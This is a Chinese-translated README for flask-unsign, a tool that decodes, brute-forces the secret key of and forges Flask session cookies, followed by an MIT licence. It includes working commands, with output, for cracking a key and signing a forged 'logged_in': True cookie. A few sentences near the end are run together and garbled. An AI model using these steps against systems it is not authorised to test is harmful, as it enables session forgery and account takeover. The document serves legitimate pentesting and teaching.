用于通过猜测密钥来获取、解码、暴力破解和伪造 Flask 应用程序会话 cookie 的命令行工具。 对于独立的词表组件,请访问 flask-unsign-wordlist 仓库。
要安装该应用程序,只需使用 pip:
$ pip3 install flask-unsign[wordlist]
如果只想安装核心代码,请省略 [wordlist] 后缀:
$ pip3 install flask-unsign
要以开发为目的安装该工具,请(在下载副本后)运行以下命令:
$ pip3 install -e .[test]
要查看所有可用选项的概述,只需不带任何参数调用 flask-unsign,如下所示:
$ flask-unsign
由于 Flask cookie 是签名而非加密的,因此可以在本地解码会话数据。为此,可以使用 --decode 参数。
可以通过使用 Burp Proxy 等代理检查 HTTP 请求、使用浏览器的网络检查器或使用浏览器扩展来查看/更改 cookie,从而获取会话 cookie。默认情况下,Flask 使用会话名称 "session"。
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
你也可以通过传递 --server 参数而不是 --cookie 参数,使用 Flask-Unsign 的自动会话获取功能。但请注意,并非所有网页都会返回会话,因此请务必传入一个确实会返回会话的 URL。
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
获取到示例会话 cookie 后,你便可以尝试暴力破解服务器的密钥。如果运气好,该密钥可能设置得很简单,或者如果它曾在网上泄露,可能就在你的某个词表中。为此,可以使用 --unsign 参数。
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
一旦获得服务器的密钥,你便可以构造自己的自定义会话数据。为此,可以使用 --sign 参数。
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip 二进制文件,请尝试使用以下命令:python3.6 -m pip install flask-unsign--legacy 选项。--no-literal-eval 参数来禁用此功能。如果你想知道这具体是如何工作的,请参阅我的博客文章,其中详细解释了这一点,并包含如何保护你自己的服务器免受此攻击的指南。
MIT 许可证
版权所有 (c) 2021 Luke Paris (Paradoxis)
特此免费授予任何获得本软件及相关文档文件(“软件”)副本的人,不受限制地处理本软件,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售软件副本的权利,并允许获得软件的人在满足以下条件的情况下这样做:
上述版权声明和本许可声明应包含在本软件的所有副本或主要部分中。
本软件按“原样”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对任何索赔、损害或其他责任负责,无论该责任是基于合同、侵权或其他方式,也不论是否由本软件或本软件的使用或其他处理引起或与之相关。